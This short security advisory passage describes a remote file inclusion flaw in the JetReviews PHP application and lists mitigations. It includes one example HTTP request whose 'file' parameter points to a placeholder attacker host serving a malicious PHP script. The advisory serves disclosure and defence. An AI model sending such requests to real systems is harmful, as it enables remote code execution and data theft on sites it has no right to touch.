How the Exploit Works
The vulnerability arises due to improper control of filename for Include/Require statement in the PHP program of JetReviews.

The script will then be executed in the context of the application, leading to a potential system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. This could be a URL request carrying the malicious payload.
GET /vulnerable/endpoint?file=http://attacker.example.com/malicious_script.php HTTP/1.1
Host: target.example.com
Mitigation
Organizations are advised to apply the vendor patch as soon as possible. As a temporary mitigation, Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) can be used to block attempts to exploit this vulnerability. Regular monitoring of system logs for any suspicious activity is also recommended.
